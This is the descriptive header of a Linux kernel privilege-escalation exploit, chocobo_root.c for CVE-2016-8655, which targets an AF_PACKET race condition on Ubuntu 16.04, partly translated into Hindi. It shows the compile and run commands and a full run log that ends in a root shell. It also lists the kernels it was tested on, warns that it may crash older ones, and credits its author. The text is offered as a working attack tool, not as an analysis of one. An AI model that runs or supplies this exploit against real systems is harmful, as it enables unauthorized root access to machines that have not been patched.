
Linux कर्नेल स्थानीय विशेषाधिकार वृद्धि शोषण CVE-2016-8655 के लिए, जो Ubuntu 16.04 x86_64 पर AF_PACKET रेस कंडीशन को लक्षित करता है ताकि मेमोरी हेरफेर के माध्यम से रूट शेल प्राप्त किया जा सके।
ocobo_root.c लिनक्स AF_PACKET रेस कंडीशन एक्सप्लॉइट Ubuntu 16.04 x86_64 के लिए एक्सप्लॉइट
user@ubuntu:$ gcc chocobo_root.c -o chocobo_root -lpthread
user@ubuntu:$ ./chocobo_root
making vsyscall page writable..
new exploit attempt starting, jumping to 0xffffffff8106f320, arg=0xffffffffff600000 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 174222, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... vsyscall page altered!
stage 1 completed registering new sysctl..
new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 30773, last val = 0) current packet version = 2 pbd->hdr.bh1.offset_to_first_pkt = 48 race not won
retrying stage.. new exploit attempt starting, jumping to 0xffffffff812879a0, arg=0xffffffffff600850 sockets allocated removing barrier and spraying.. version switcher stopping, x = -1 (y = 133577, last val = 2) current packet version = 0 pbd->hdr.bh1.offset_to_first_pkt = 48 === TPACKET_V1 && offset_to_first_pkt != 0, race won === please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that. closing socket and verifying....... sysctl added!
stage 2 completed binary executed by kernel, launching rootshell root@ubuntu:~# id uid=0(root) gid=0(root) groups=0(root),1000(user)
==============================
पुराने कर्नेल के लिए ऑफसेट शामिल हैं, लेकिन वे अपरीक्षित हैं, इसलिए ध्यान रखें कि यह एक्सप्लॉइट 4.4 से पुराने कर्नेल को क्रैश कर सकता है।
इन पर परीक्षण किया गया: Ubuntu 16.04: 4.4.0-51-generic Ubuntu 16.04: 4.4.0-47-generic Ubuntu 16.04: 4.4.0-36-generic Ubuntu 14.04: 4.4.0-47-generic #68~14.04.1-Ubuntu
विशेष धन्यवाद: jsc प्रेरणा के लिए (https://www.youtube.com/watch?v=x4UDIfcYMKI) mcdelivery हॉटकेक और कॉफी पहुँचाने के लिए
11/2016 rebel द्वारा